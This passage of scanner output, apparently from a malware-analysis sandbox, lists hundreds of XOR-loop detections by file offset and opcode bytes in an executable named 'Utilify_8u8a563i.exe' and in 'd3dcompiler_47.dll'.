2327661; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2360241; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2665032; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2749469; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2797724; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2851036; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2937230; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2996783; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3006927; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3020823; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3062288; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3194310; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3194898; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3263066; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3289654; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3291220; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3301381; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3309063; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3350082; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3363735; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3399079; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3418310; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3426630; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3497874; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3559485; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3602271; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3610835; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3629552; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3636000; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3659986; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3663606; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3669336; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3701367; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3800380; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3902491; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3963676; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4012203; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4028791; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4036161; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4047024; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4117664; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4232241; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4253818; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4369096; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4374399; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4403683; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4502577; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4535879; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4561826; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4632343; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4646735; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4741786; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4937562; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4963889; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 5028152; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 5093015; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 5122318; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 148958; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 752899; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 761217; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 771727; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 778499; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 806769; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 808217; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 808455; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 920533; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 934499; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1008349; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1045634; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1064678; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1166996; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1275200; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1389080; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1390059; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1400380; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1403467; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1533675; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1604106; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1649968; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1769943; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1950521; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2106763; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2570520; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2653149; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2691769; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2693128; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2749168; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2788848; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2898272; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2963238; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3093649; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3222820; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3241433; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3279984; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3348374; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3460185; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3491388; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3506451; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3621633; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3659483; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3677818; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3861211; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4148308; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4161901; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4172453; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4278808; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4408128; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4433397; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4437075; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4471013; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4515286; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4562334; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4649690; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4685999; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4689129; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4704469; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 5043599; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 5082374; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 5178486; code bytes = 33c1 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 123033; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 123060; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 123495; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 123522; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 123771; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 123795; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 124022; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 124103; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 124126; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 124150; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 124178; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 124202; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 749586; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 750128; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 751558; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 754110; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 755078; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 759888; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 764524; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 766186; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 768360; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 771062; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 782546; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 785202; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 786580; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 790972; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 794464; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 795584; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 799486; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 799892; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 801602; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 806088; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 808780; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 811224; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 813268; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 815302; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 817320; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 819352; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 966529; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 984687; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 995864; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1080657; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1085710; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1137961; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1184791; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1237204; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1256161; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1529084; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1546674; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1588551; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1613840; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1630419; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1686224; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1734847; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1825951; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1830024; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1843392; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1924420; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1951506; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1952987; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1969620; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2035967; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2038967; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2067638; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2087865; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2110751; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2148177; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2374016; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2569559; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2678532; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2742679; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2805874; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2852282; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2865087; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2977078; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2985687; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3076998; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3105851; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3137550; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3158594; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3184618; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3226899; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3309151; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3334442; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3359422; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3368419; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3386576; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3566973; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3597704; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3627013; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3827439; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3900108; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 3949939; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4108104; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4237838; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4339257; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4374398; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4401605; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4427008; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4472314; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4509292; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4624100; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4631077; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4639304; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4685741; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4882186; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4921735; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4980343; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 4998692; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 5000186; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 5041876; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 5056939; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 5177264; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 5178782; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 5183696; code bytes = 8030 Found XOR loop in file "d3dcompiler_47.dll" at offset 527692; code bytes = 30d0 Found XOR loop in file "d3dcompiler_47.dll" at offset 2382972; code bytes = 30d0 Found XOR loop in file "d3dcompiler_47.dll" at offset 3573648; code bytes = 30d0 Found XOR loop in file "d3dcompiler_47.dll" at offset 4415260; code bytes = 30d0 Found XOR loop in file "d3dcompiler_47.dll" at offset 282010; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 292807; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 359699; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 359731; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 421525; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 421970; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 421976; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 427015; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 434932; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 504582; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 504614; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 505449; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 505473; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 505631; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 505663; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 506736; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 506768; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 507220; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 553302; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 597178; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 597186; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 597209; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 597217; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 597240; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 597248; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 617891; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 618063; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 677140; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 677159; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 690096; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 690120; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 690639; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 690663; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 697289; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 697326; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 700106; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 700125; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 701437; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 747730; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 782803; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 798837; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 846601; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 905481; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 953485; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 953724; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 953771; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 953880; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 953900; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 954027; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 954057; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 954158; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 954300; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 956134; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 956373; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 956420; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 956529; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 956549; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 956676; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 956706; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 956807; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 956949; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 1001322; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 1616993; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 1814426; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2355945; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2515316; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2555473; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2556160; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2575082; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2597914; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2602250; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2635481; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2635519; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2635557; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2635600; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2635643; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2635686; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2635729; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2635772; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2635815; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2635858; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2635901; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2635944; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2635987; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636030; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636073; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636160; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636198; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636236; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636279; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636322; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636365; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636408; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636451; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636494; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636537; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636580; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636623; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636666; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636709; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636752; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636839; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636877; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636915; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2636958; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2637001; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2637044; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2637087; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2637130; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2637173; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2637216; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2637259; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2637302; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2637345; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2699034; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2768426; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2769114; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 2962556; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 3091711; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 3099011; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 3099026; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 3099040; code bytes = 33c1 Found XOR loop in file "d3dcompiler_47.dll" at offset 